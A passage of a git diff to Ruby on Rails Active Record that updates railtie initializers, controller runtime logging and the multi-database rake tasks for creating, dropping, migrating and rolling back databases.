+              # error because it is critical that the application can boot even if the database
+              # is unhealthy.
+              warn "Failed to define attribute methods because of #{error.class}: #{error.message}"
+            end
+          end
+        end
+      end
+    end
+
+    initializer "active_record.sqlite3_adapter_strict_strings_by_default" do
+      config.after_initialize do
+        if config.active_record.sqlite3_adapter_strict_strings_by_default
+          ActiveSupport.on_load(:active_record_sqlite3adapter) do
+            self.strict_strings_by_default = true
+          end
+        end
+      end
+    end
+
+    initializer "active_record.postgresql_adapter_decodes" do
+      config.after_initialize do
+        decode_bytea = config.active_record.postgresql_adapter_decode_bytea
+        decode_dates = config.active_record.postgresql_adapter_decode_dates
+        decode_money = config.active_record.postgresql_adapter_decode_money
+
+        ActiveSupport.on_load(:active_record_postgresqladapter) do
+          self.decode_bytea = true if decode_bytea
+          self.decode_dates = true if decode_dates
+          self.decode_money = true if decode_money
         end
       end
     end
 
     initializer "active_record.set_configs" do |app|
+      configs = app.config.active_record
+
+      config.after_initialize do
+        configs.each do |k, v|
+          next if k == :encryption
+          setter = "#{k}="
+          if ActiveRecord.respond_to?(setter)
+            ActiveRecord.send(setter, v)
+          end
+        end
+      end
+
       ActiveSupport.on_load(:active_record) do
-        app.config.active_record.each do |k, v|
-          send "#{k}=", v
+        configs_used_in_other_initializers = configs.except(
+          :migration_error,
+          :database_selector,
+          :database_resolver,
+          :database_resolver_context,
+          :shard_selector,
+          :shard_resolver,
+          :query_log_tags_enabled,
+          :query_log_tags,
+          :query_log_tags_format,
+          :cache_query_log_tags,
+          :query_log_tags_prepend_comment,
+          :sqlite3_adapter_strict_strings_by_default,
+          :check_schema_cache_dump_version,
+          :use_schema_cache_dump,
+          :postgresql_adapter_decode_dates,
+          :postgresql_adapter_decode_money,
+          :postgresql_adapter_decode_bytea,
+          :use_legacy_signed_id_verifier,
+        )
+
+        configs_used_in_other_initializers.each do |k, v|
+          next if k == :encryption
+          setter = "#{k}="
+          # Some existing initializers might rely on Active Record configuration
+          # being copied from the config object to their actual destination when
+          # `ActiveRecord::Base` is loaded.
+          # So to preserve backward compatibility we copy the config a second time.
+          if ActiveRecord.respond_to?(setter)
+            ActiveRecord.send(setter, v)
+          else
+            send(setter, v)
+          end
         end
       end
     end
@@ -120,29 +268,28 @@ class Railtie < Rails::Railtie # :nodoc:
       ActiveSupport.on_load(:active_record) do
         self.configurations = Rails.application.config.database_configuration
 
-        begin
-          establish_connection
-        rescue ActiveRecord::NoDatabaseError
-          warn <<-end_warning
-Oops - You have a database configured, but it doesn't exist yet!
-
-Here's how to get started:
-
-  1. Configure your database in config/database.yml.
-  2. Run `bin/rails db:create` to create the database.
-  3. Run `bin/rails db:setup` to load your database schema.
-end_warning
-          raise
-        end
+        establish_connection
       end
     end
 
-    # Expose database runtime to controller for logging.
+    # Expose database runtime for logging.
     initializer "active_record.log_runtime" do
       require "active_record/railties/controller_runtime"
       ActiveSupport.on_load(:action_controller) do
         include ActiveRecord::Railties::ControllerRuntime
       end
+
+      require "active_record/railties/job_runtime"
+      ActiveSupport.on_load(:active_job) do
+        include ActiveRecord::Railties::JobRuntime
+      end
+    end
+
+    initializer "active_record.job_checkpoints" do
+      require "active_record/railties/job_checkpoints"
+      ActiveSupport.on_load(:active_job_continuable) do
+        prepend ActiveRecord::Railties::JobCheckpoints
+      end
     end
 
     initializer "active_record.set_reloader_hooks" do
@@ -150,21 +297,156 @@ class Railtie < Rails::Railtie # :nodoc:
         ActiveSupport::Reloader.before_class_unload do
           if ActiveRecord::Base.connected?
             ActiveRecord::Base.clear_cache!
-            ActiveRecord::Base.clear_reloadable_connections!
+            ActiveRecord::Base.connection_handler.clear_reloadable_connections!(:all)
           end
         end
       end
     end
 
     initializer "active_record.set_executor_hooks" do
-      ActiveSupport.on_load(:active_record) do
-        ActiveRecord::QueryCache.install_executor_hooks
-      end
+      ActiveRecord::QueryCache.install_executor_hooks
+      ActiveRecord::AsynchronousQueriesTracker.install_executor_hooks
+      ActiveRecord::ConnectionAdapters::ConnectionPool.install_executor_hooks
     end
 
     initializer "active_record.add_watchable_files" do |app|
       path = app.paths["db"].first
       config.watchable_files.concat ["#{path}/schema.rb", "#{path}/structure.sql"]
     end
+
+    initializer "active_record.clear_active_connections" do
+      config.after_initialize do
+        ActiveSupport.on_load(:active_record) do
+          # Ideally the application doesn't connect to the database during boot,
+          # but sometimes it does. In case it did, we want to empty out the
+          # connection pools so that a non-database-using process (e.g. a master
+          # process in a forking server model) doesn't retain a needless
+          # connection. If it was needed, the incremental cost of reestablishing
+          # this connection is trivial: the rest of the pool would need to be
+          # populated anyway.
+
+          connection_handler.clear_active_connections!(:all)
+          connection_handler.flush_idle_connections!(:all)
+        end
+      end
+    end
+
+    initializer "active_record.set_filter_attributes" do
+      ActiveSupport.on_load(:active_record) do
+        self.filter_attributes += Rails.application.config.filter_parameters
+      end
+    end
+
+    initializer "active_record.filter_attributes_as_log_parameters" do |app|
+      ActiveRecord::FilterAttributeHandler.new(app).enable
+    end
+
+    initializer "active_record.configure_message_verifiers" do |app|
+      ActiveRecord.message_verifiers = app.message_verifiers
+
+      use_legacy_signed_id_verifier = app.config.active_record.use_legacy_signed_id_verifier
+      legacy_options = { digest: "SHA256", serializer: JSON, url_safe: true }
+
+      if use_legacy_signed_id_verifier == :generate_and_verify
+        app.message_verifiers.prepend { |salt| legacy_options if salt == "active_record/signed_id" }
+      elsif use_legacy_signed_id_verifier == :verify
+        app.message_verifiers.rotate { |salt| legacy_options if salt == "active_record/signed_id" }
+      elsif use_legacy_signed_id_verifier
+        raise ArgumentError, "Unrecognized value for config.active_record.use_legacy_signed_id_verifier: #{use_legacy_signed_id_verifier.inspect}"
+      end
+    end
+
+    initializer "active_record.generated_token_verifier" do
+      config.after_initialize do |app|
+        ActiveSupport.on_load(:active_record) do
+          self.generated_token_verifier ||= app.message_verifier("active_record/token_for")
+        end
+      end
+    end
+
+    initializer "active_record_encryption.configuration" do |app|
+      ActiveSupport.on_load(:active_record_encryption) do
+        ActiveRecord::Encryption.configure(
+          primary_key: app.credentials.dig(:active_record_encryption, :primary_key),
+          deterministic_key: app.credentials.dig(:active_record_encryption, :deterministic_key),
+          key_derivation_salt: app.credentials.dig(:active_record_encryption, :key_derivation_salt),
+          **app.config.active_record.encryption
+        )
+
+        auto_filtered_parameters = ActiveRecord::Encryption::AutoFilteredParameters.new(app)
+        auto_filtered_parameters.enable if ActiveRecord::Encryption.config.add_to_filter_parameters
+      end
+
+      ActiveSupport.on_load(:active_record) do
+        # Support extended queries for deterministic attributes and validations
+        if ActiveRecord::Encryption.config.extend_queries
+          ActiveRecord::Encryption::ExtendedDeterministicQueries.install_support
+          ActiveRecord::Encryption::ExtendedDeterministicUniquenessValidator.install_support
+        end
+      end
+
+      ActiveSupport.on_load(:active_record_fixture_set) do
+        # Encrypt Active Record fixtures
+        if ActiveRecord::Encryption.config.encrypt_fixtures
+          ActiveRecord::Fixture.prepend ActiveRecord::Encryption::EncryptedFixtures
+        end
+      end
+    end
+
+    initializer "active_record.query_log_tags_config" do |app|
+      config.after_initialize do
+        if app.config.active_record.query_log_tags_enabled
+          ActiveRecord.query_transformers << ActiveRecord::QueryLogs
+          ActiveRecord::QueryLogs.taggings = ActiveRecord::QueryLogs.taggings.merge(
+            application:  Rails.application.class.name.split("::").first,
+            pid:          -> { Process.pid.to_s },
+            socket:       ->(context) { context[:connection].pool.db_config.socket },
+            db_host:      ->(context) { context[:connection].pool.db_config.host },
+            database:     ->(context) { context[:connection].pool.db_config.database },
+            source_location: -> { QueryLogs.query_source_location }
+          )
+          ActiveRecord.disable_prepared_statements = true
+
+          if app.config.active_record.query_log_tags.present?
+            ActiveRecord::QueryLogs.tags = app.config.active_record.query_log_tags
+          end
+
+          if app.config.active_record.query_log_tags_format
+            ActiveRecord::QueryLogs.tags_formatter = app.config.active_record.query_log_tags_format
+          end
+
+          if app.config.active_record.cache_query_log_tags
+            ActiveRecord::QueryLogs.cache_query_log_tags = true
+          end
+
+          if app.config.active_record.query_log_tags_prepend_comment
+            ActiveRecord::QueryLogs.prepend_comment = true
+          end
+        end
+      end
+    end
+
+    initializer "active_record.unregister_current_scopes_on_unload" do |app|
+      config.after_initialize do
+        if app.config.reloading_enabled?
+          Rails.autoloaders.main.on_unload do |_cpath, value, _abspath|
+            # Conditions are written this way to be robust against custom
+            # implementations of value#is_a? or value#<.
+            if Class === value && ActiveRecord::Base > value
+              value.current_scope = nil
+            end
+          end
+        end
+      end
+    end
+
+    initializer "active_record.message_pack" do
+      ActiveSupport.on_load(:message_pack) do
+        ActiveSupport.on_load(:active_record) do
+          require "active_record/message_pack"
+          ActiveRecord::MessagePack::Extensions.install(ActiveSupport::MessagePack::CacheSerializer)
+        end
+      end
+    end
   end
 end
diff --git a/activerecord/lib/active_record/railties/console_sandbox.rb b/activerecord/lib/active_record/railties/console_sandbox.rb
index 604a220303b9d..70af43925e3af 100644
--- a/activerecord/lib/active_record/railties/console_sandbox.rb
+++ b/activerecord/lib/active_record/railties/console_sandbox.rb
@@ -1,5 +1,5 @@
-ActiveRecord::Base.connection.begin_transaction(joinable: false)
+# frozen_string_literal: true
 
-at_exit do
-  ActiveRecord::Base.connection.rollback_transaction
+ActiveRecord::ConnectionAdapters::AbstractAdapter.set_callback(:checkout, :after) do
+  begin_transaction(joinable: false)
 end
diff --git a/activerecord/lib/active_record/railties/controller_runtime.rb b/activerecord/lib/active_record/railties/controller_runtime.rb
index 8658188623e10..4ccc02878e14a 100644
--- a/activerecord/lib/active_record/railties/controller_runtime.rb
+++ b/activerecord/lib/active_record/railties/controller_runtime.rb
@@ -1,54 +1,70 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/attr_internal"
-require "active_record/log_subscriber"
+require "active_record/runtime_registry"
 
 module ActiveRecord
   module Railties # :nodoc:
-    module ControllerRuntime #:nodoc:
+    module ControllerRuntime # :nodoc:
       extend ActiveSupport::Concern
 
-    # TODO Change this to private once we've dropped Ruby 2.2 support.
-    # Workaround for Ruby 2.2 "private attribute?" warning.
-    protected
+      module ClassMethods # :nodoc:
+        def log_process_action(payload)
+          messages, db_runtime = super, payload[:db_runtime]
 
-      attr_internal :db_runtime
+          if db_runtime
+            queries_count = payload[:queries_count] || 0
+            cached_queries_count = payload[:cached_queries_count] || 0
+            messages << ("ActiveRecord: %.1fms (%d %s, %d cached)" % [db_runtime.to_f, queries_count,
+                                                                      "query".pluralize(queries_count), cached_queries_count])
+          end
 
-    private
+          messages
+        end
+      end
 
-      def process_action(action, *args)
-        # We also need to reset the runtime before each action
-        # because of queries in middleware or in cases we are streaming
-        # and it won't be cleaned up by the method below.
-        ActiveRecord::LogSubscriber.reset_runtime
+      def initialize(...) # :nodoc:
         super
+        self.db_runtime = nil
       end
 
-      def cleanup_view_runtime
-        if logger && logger.info? && ActiveRecord::Base.connected?
-          db_rt_before_render = ActiveRecord::LogSubscriber.reset_runtime
-          self.db_runtime = (db_runtime || 0) + db_rt_before_render
-          runtime = super
-          db_rt_after_render = ActiveRecord::LogSubscriber.reset_runtime
-          self.db_runtime += db_rt_after_render
-          runtime - db_rt_after_render
-        else
+      private
+        attr_internal :db_runtime
+
+        def process_action(action, *args)
+          # We also need to reset the runtime before each action
+          # because of queries in middleware or in cases we are streaming
+          # and it won't be cleaned up by the method below.
+          ActiveRecord::RuntimeRegistry.reset
           super
         end
-      end
 
-      def append_info_to_payload(payload)
-        super
-        if ActiveRecord::Base.connected?
-          payload[:db_runtime] = (db_runtime || 0) + ActiveRecord::LogSubscriber.reset_runtime
+        def cleanup_view_runtime
+          if logger && logger.info?
+            runtime_stats = ActiveRecord::RuntimeRegistry.stats
+            db_rt_before_render = runtime_stats.reset_runtimes
+            self.db_runtime = (db_runtime || 0) + db_rt_before_render
+
+            runtime = super
+
+            queries_rt = runtime_stats.sql_runtime - runtime_stats.async_sql_runtime
+            db_rt_after_render = runtime_stats.reset_runtimes
+            self.db_runtime += db_rt_after_render
+            runtime - queries_rt
+          else
+            super
+          end
         end
-      end
 
-      module ClassMethods # :nodoc:
-        def log_process_action(payload)
-          messages, db_runtime = super, payload[:db_runtime]
-          messages << ("ActiveRecord: %.1fms" % db_runtime.to_f) if db_runtime
-          messages
+        def append_info_to_payload(payload)
+          super
+
+          runtime_stats = ActiveRecord::RuntimeRegistry.stats
+          payload[:db_runtime] = (db_runtime || 0) + runtime_stats.sql_runtime
+          payload[:queries_count] = runtime_stats.queries_count
+          payload[:cached_queries_count] = runtime_stats.cached_queries_count
+          runtime_stats.reset
         end
-      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index 246d330b76c93..799571f1a125e 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -1,18 +1,29 @@
+# frozen_string_literal: true
+
 require "active_record"
+require "active_support/configuration_file"
+require "active_support/deprecation"
+
+databases = ActiveRecord::Tasks::DatabaseTasks.setup_initial_database_yaml
 
 db_namespace = namespace :db do
   desc "Set the environment value for the database"
-  task "environment:set" => [:environment, :load_config] do
-    ActiveRecord::InternalMetadata.create_table
-    ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment
+  task "environment:set" => :load_config do
+    pool = ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool
+    raise ActiveRecord::EnvironmentStorageError unless pool.internal_metadata.enabled?
+
+    pool.internal_metadata.create_table_and_set_flags(pool.migration_context.current_environment)
   end
 
-  task check_protected_environments: [:environment, :load_config] do
+  task check_protected_environments: :load_config do
     ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!
   end
 
-  task :load_config do
-    ActiveRecord::Base.configurations       = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
+  task load_config: :environment do
+    if ActiveRecord::Base.configurations.empty?
+      ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration
+    end
+
     ActiveRecord::Migrator.migrations_paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths
   end
 
@@ -20,9 +31,17 @@ db_namespace = namespace :db do
     task all: :load_config do
       ActiveRecord::Tasks::DatabaseTasks.create_all
     end
+
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      desc "Create #{name} database for current environment"
+      task name => :load_config do
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: name)
+        ActiveRecord::Tasks::DatabaseTasks.create(db_config)
+      end
+    end
   end
 
-  desc "Creates the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV or when RAILS_ENV is development, it defaults to creating the development and test databases."
+  desc "Create the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV or when RAILS_ENV is development, it defaults to creating the development and test databases, except when DATABASE_URL is present."
   task create: [:load_config] do
     ActiveRecord::Tasks::DatabaseTasks.create_current
   end
@@ -31,9 +50,17 @@ db_namespace = namespace :db do
     task all: [:load_config, :check_protected_environments] do
       ActiveRecord::Tasks::DatabaseTasks.drop_all
     end
+
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      desc "Drop #{name} database for current environment"
+      task name => [:load_config, :check_protected_environments] do
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: name)
+        ActiveRecord::Tasks::DatabaseTasks.drop(db_config)
+      end
+    end
   end
 
-  desc "Drops the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV or when RAILS_ENV is development, it defaults to dropping the development and test databases."
+  desc "Drop the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV or when RAILS_ENV is development, it defaults to dropping the development and test databases, except when DATABASE_URL is present."
   task drop: [:load_config, :check_protected_environments] do
     db_namespace["drop:_unsafe"].invoke
   end
@@ -48,35 +75,65 @@ db_namespace = namespace :db do
     end
   end
 
-  # desc "Empty the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:purge:all to purge all databases in the config). Without RAILS_ENV it defaults to purging the development and test databases."
+  # desc "Truncates tables of each database for current environment"
+  task truncate_all: [:load_config, :check_protected_environments] do
+    ActiveRecord::Tasks::DatabaseTasks.truncate_all
+  end
+
+  # desc "Empty the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:purge:all to purge all databases in the config). Without RAILS_ENV it defaults to purging the development and test databases, except when DATABASE_URL is present."
   task purge: [:load_config, :check_protected_environments] do
     ActiveRecord::Tasks::DatabaseTasks.purge_current
   end
 
   desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
-  task migrate: [:environment, :load_config] do
-    ActiveRecord::Tasks::DatabaseTasks.migrate
+  task migrate: :load_config do
+    ActiveRecord::Tasks::DatabaseTasks.migrate_all
     db_namespace["_dump"].invoke
   end
 
-  # IMPORTANT: This task won't dump the schema if ActiveRecord::Base.dump_schema_after_migration is set to false
+  # IMPORTANT: This task won't dump the schema if ActiveRecord.dump_schema_after_migration is set to false
   task :_dump do
-    if ActiveRecord::Base.dump_schema_after_migration
-      case ActiveRecord::Base.schema_format
-      when :ruby then db_namespace["schema:dump"].invoke
-      when :sql  then db_namespace["structure:dump"].invoke
-      else
-        raise "unknown schema format #{ActiveRecord::Base.schema_format}"
-      end
+    if ActiveRecord.dump_schema_after_migration
+      db_namespace["schema:dump"].invoke
     end
     # Allow this task to be called as many times as required. An example is the
     # migrate:redo task, which calls other two internally that depend on this one.
     db_namespace["_dump"].reenable
   end
 
+  namespace :_dump do
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      # IMPORTANT: This task won't dump the schema if ActiveRecord.dump_schema_after_migration is set to false
+      task name do
+        if ActiveRecord.dump_schema_after_migration
+          db_namespace["schema:dump:#{name}"].invoke
+        end
+
+        # Allow this task to be called as many times as required. An example is the
+        # migrate:redo task, which calls other two internally that depend on this one.
+        db_namespace["_dump:#{name}"].reenable
+      end
+    end
+  end
+
   namespace :migrate do
-    # desc  'Rollbacks the database one migration and re migrate up (options: STEP=x, VERSION=x).'
-    task redo: [:environment, :load_config] do
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      desc "Migrate #{name} database for current environment"
+      task name => :load_config do
+        ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: Rails.env, name: name) do
+          ActiveRecord::Tasks::DatabaseTasks.migrate
+        end
+
+        db_namespace["_dump:#{name}"].invoke
+      end
+    end
+
+    desc "Roll back the database one migration and re-migrate up (options: STEP=x, VERSION=x)."
+    task redo: :load_config do
+      ActiveRecord::Tasks::DatabaseTasks.raise_for_multi_db(command: "db:migrate:redo")
+
+      raise "Empty VERSION provided" if ENV["VERSION"] && ENV["VERSION"].empty?
+
       if ENV["VERSION"]
         db_namespace["migrate:down"].invoke
         db_namespace["migrate:up"].invoke
@@ -86,119 +143,273 @@ db_namespace = namespace :db do
       end
     end
 
-    # desc 'Resets your database using your migrations for the current environment'
-    task reset: ["db:drop", "db:create", "db:migrate"]
+    namespace :redo do
+      ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+        desc "Roll back #{name} database one migration and re-migrate up (options: STEP=x, VERSION=x)."
+        task name => :load_config do
+          raise "Empty VERSION provided" if ENV["VERSION"] && ENV["VERSION"].empty?
+
+          if ENV["VERSION"]
+            db_namespace["migrate:down:#{name}"].invoke
+            db_namespace["migrate:up:#{name}"].invoke
+          else
+            db_namespace["rollback:#{name}"].invoke
+            db_namespace["migrate:#{name}"].invoke
+          end
+        end
+      end
+    end
+
+    desc "Resets your database using your migrations for the current environment"
+    task reset: ["db:drop", "db:create", "db:schema:dump", "db:migrate"]
+
+    namespace :reset do
+      ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+        desc "Drop and recreate the #{name} database using migrations"
+        task name => :load_config do
+          db_namespace["drop:#{name}"].invoke
+          db_namespace["create:#{name}"].invoke
+          db_namespace["schema:dump:#{name}"].invoke
+          db_namespace["migrate:#{name}"].invoke
+        end
+      end
+    end
+
+    desc 'Run the "up" for a given migration VERSION.'
+    task up: :load_config do
+      ActiveRecord::Tasks::DatabaseTasks.raise_for_multi_db(command: "db:migrate:up")
 
-    # desc 'Runs the "up" for a given migration VERSION.'
-    task up: [:environment, :load_config] do
-      version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
-      raise "VERSION is required" unless version
-      ActiveRecord::Migrator.run(:up, ActiveRecord::Tasks::DatabaseTasks.migrations_paths, version)
+      raise "VERSION is required" if !ENV["VERSION"] || ENV["VERSION"].empty?
+
+      ActiveRecord::Tasks::DatabaseTasks.check_target_version
+
+      ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool.migration_context.run(
+        :up,
+        ActiveRecord::Tasks::DatabaseTasks.target_version
+      )
       db_namespace["_dump"].invoke
     end
 
-    # desc 'Runs the "down" for a given migration VERSION.'
-    task down: [:environment, :load_config] do
-      version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
-      raise "VERSION is required - To go down one migration, run db:rollback" unless version
-      ActiveRecord::Migrator.run(:down, ActiveRecord::Tasks::DatabaseTasks.migrations_paths, version)
+    namespace :up do
+      ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+        desc "Run the \"up\" on #{name} database for a given migration VERSION."
+        task name => :load_config do
+          raise "VERSION is required" if !ENV["VERSION"] || ENV["VERSION"].empty?
+
+          ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: Rails.env, name: name) do |pool|
+            ActiveRecord::Tasks::DatabaseTasks.check_target_version
+            pool.migration_context.run(:up, ActiveRecord::Tasks::DatabaseTasks.target_version)
+          end
+
+          db_namespace["_dump:#{name}"].invoke
+        end
+      end
+    end
+
+    desc 'Run the "down" for a given migration VERSION.'
+    task down: :load_config do
+      ActiveRecord::Tasks::DatabaseTasks.raise_for_multi_db(command: "db:migrate:down")
+
+      raise "VERSION is required - To go down one migration, use db:rollback" if !ENV["VERSION"] || ENV["VERSION"].empty?
+
+      ActiveRecord::Tasks::DatabaseTasks.check_target_version
+
+      ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool.migration_context.run(
+        :down,
+        ActiveRecord::Tasks::DatabaseTasks.target_version
+      )
       db_namespace["_dump"].invoke
     end
 
-    desc "Display status of migrations"
-    task status: [:environment, :load_config] do
-      unless ActiveRecord::SchemaMigration.table_exists?
-        abort "Schema migrations table does not exist yet."
-      end
-      db_list = ActiveRecord::SchemaMigration.normalized_versions
-
-      file_list =
-          ActiveRecord::Tasks::DatabaseTasks.migrations_paths.flat_map do |path|
-            Dir.foreach(path).map do |file|
-              next unless ActiveRecord::Migrator.match_to_migration_filename?(file)
-
-              version, name, scope = ActiveRecord::Migrator.parse_migration_filename(file)
-              version = ActiveRecord::SchemaMigration.normalize_migration_number(version)
-              status = db_list.delete(version) ? "up" : "down"
-              [status, version, (name + scope).humanize]
-            end.compact
+    namespace :down do
+      ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+        desc "Run the \"down\" on #{name} database for a given migration VERSION."
+        task name => :load_config do
+          raise "VERSION is required" if !ENV["VERSION"] || ENV["VERSION"].empty?
+
+          ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: Rails.env, name: name) do |pool|
+            ActiveRecord::Tasks::DatabaseTasks.check_target_version
+            pool.migration_context.run(:down, ActiveRecord::Tasks::DatabaseTasks.target_version)
           end
 
-      db_list.map! do |version|
-        ["up", version, "********** NO FILE **********"]
+          db_namespace["_dump:#{name}"].invoke
+        end
       end
-      # output
-      puts "\ndatabase: #{ActiveRecord::Base.connection_config[:database]}\n\n"
-      puts "#{'Status'.center(8)}  #{'Migration ID'.ljust(14)}  Migration Name"
-      puts "-" * 50
-      (db_list + file_list).sort_by { |_, version, _| version }.each do |status, version, name|
-        puts "#{status.center(8)}  #{version.ljust(14)}  #{name}"
+    end
+
+    desc "Display status of migrations"
+    task status: :load_config do
+      ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each do
+        ActiveRecord::Tasks::DatabaseTasks.migrate_status
+      end
+    end
+
+    namespace :status do
+      ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+        desc "Display status of migrations for #{name} database"
+        task name => :load_config do
+          ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: Rails.env, name: name) do
+            ActiveRecord::Tasks::DatabaseTasks.migrate_status
+          end
+        end
+      end
+    end
+  end
+
+  namespace :rollback do
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      desc "Rollback #{name} database for current environment (specify steps w/ STEP=n)."
+      task name => :load_config do
+        step = ENV["STEP"] ? ENV["STEP"].to_i : 1
+
+        ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: Rails.env, name: name) do |pool|
+          pool.migration_context.rollback(step)
+        end
+
+        db_namespace["_dump:#{name}"].invoke
       end
-      puts
     end
   end
 
-  desc "Rolls the schema back to the previous version (specify steps w/ STEP=n)."
-  task rollback: [:environment, :load_config] do
+  desc "Roll the schema back to the previous version (specify steps w/ STEP=n)."
+  task rollback: :load_config do
+    ActiveRecord::Tasks::DatabaseTasks.raise_for_multi_db(command: "db:rollback")
+    raise "VERSION is not supported - To rollback a specific version, use db:migrate:down" if ENV["VERSION"]
+
     step = ENV["STEP"] ? ENV["STEP"].to_i : 1
-    ActiveRecord::Migrator.rollback(ActiveRecord::Tasks::DatabaseTasks.migrations_paths, step)
+
+    ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool.migration_context.rollback(step)
+
     db_namespace["_dump"].invoke
   end
 
   # desc 'Pushes the schema to the next version (specify steps w/ STEP=n).'
-  task forward: [:environment, :load_config] do
+  task forward: :load_config do
     step = ENV["STEP"] ? ENV["STEP"].to_i : 1
-    ActiveRecord::Migrator.forward(ActiveRecord::Tasks::DatabaseTasks.migrations_paths, step)
+
+    ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool.migration_context.forward(step)
+
     db_namespace["_dump"].invoke
   end
 
-  # desc 'Drops and recreates the database from db/schema.rb for the current environment and loads the seeds.'
+  namespace :reset do
+    task all: ["db:drop", "db:setup"]
+
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      desc "Drop and recreate the #{name} database from its schema for the current environment and load the seeds."
+      task name => ["db:drop:#{name}", "db:setup:#{name}"]
+    end
+  end
+
+  desc "Drop and recreate all databases from their schema for the current environment and load the seeds."
   task reset: [ "db:drop", "db:setup" ]
 
-  # desc "Retrieves the charset for the current environment's database"
-  task charset: [:environment, :load_config] do
+  # desc "Retrieve the charset for the current environment's database"
+  task charset: :load_config do
     puts ActiveRecord::Tasks::DatabaseTasks.charset_current
   end
 
-  # desc "Retrieves the collation for the current environment's database"
-  task collation: [:environment, :load_config] do
-    begin
-      puts ActiveRecord::Tasks::DatabaseTasks.collation_current
-    rescue NoMethodError
-      $stderr.puts "Sorry, your database adapter is not supported yet. Feel free to submit a patch."
+  # desc "Retrieve the collation for the current environment's database"
+  task collation: :load_config do
+    puts ActiveRecord::Tasks::DatabaseTasks.collation_current
+  rescue NoMethodError
+    $stderr.puts "Sorry, your database adapter is not supported yet. Feel free to submit a patch."
+  end
+
+  desc "Retrieve the current schema version number"
+  task version: :load_config do
+    ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: Rails.env) do |pool|
+      puts "\ndatabase: #{pool.db_config.database}\n"
+      puts "Current version: #{pool.migration_context.current_version}"
+      puts
     end
   end
 
-  desc "Retrieves the current schema version number"
-  task version: [:environment, :load_config] do
-    puts "Current version: #{ActiveRecord::Migrator.current_version}"
+  namespace :version do
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      desc "Retrieve the current schema version number for #{name} database"
+      task name => :load_config do
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: name)
+        ActiveRecord::Tasks::DatabaseTasks.with_temporary_connection(db_config) do |connection|
+          puts "Current version: #{connection.schema_version}"
+        end
+      end
+    end
   end
 
   # desc "Raises an error if there are pending migrations"
-  task abort_if_pending_migrations: [:environment, :load_config] do
-    pending_migrations = ActiveRecord::Migrator.open(ActiveRecord::Tasks::DatabaseTasks.migrations_paths).pending_migrations
+  task abort_if_pending_migrations: :load_config do
+    pending_migrations = []
+
+    ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each do |pool|
+      pending_migrations << pool.migration_context.open.pending_migrations
+    end
+
+    pending_migrations.flatten!
 
     if pending_migrations.any?
       puts "You have #{pending_migrations.size} pending #{pending_migrations.size > 1 ? 'migrations:' : 'migration:'}"
+
       pending_migrations.each do |pending_migration|
         puts "  %4d %s" % [pending_migration.version, pending_migration.name]
       end
-      abort %{Run `rails db:migrate` to update your database then try again.}
+
+      abort %{Run `bin/rails db:migrate` to update your database then try again.}
     end
   end
 
-  desc "Creates the database, loads the schema, and initializes with the seed data (use db:reset to also drop the database first)"
-  task setup: ["db:schema:load_if_ruby", "db:structure:load_if_sql", :seed]
+  namespace :abort_if_pending_migrations do
+    ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+      # desc "Raise an error if there are pending migrations for #{name} database"
+      task name => :load_config do
+        ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: Rails.env, name: name) do |pool|
+          pending_migrations = pool.migration_context.open.pending_migrations
+
+          if pending_migrations.any?
+            puts "You have #{pending_migrations.size} pending #{pending_migrations.size > 1 ? 'migrations:' : 'migration:'}"
 
-  desc "Loads the seed data from db/seeds.rb"
-  task :seed do
+            pending_migrations.each do |pending_migration|
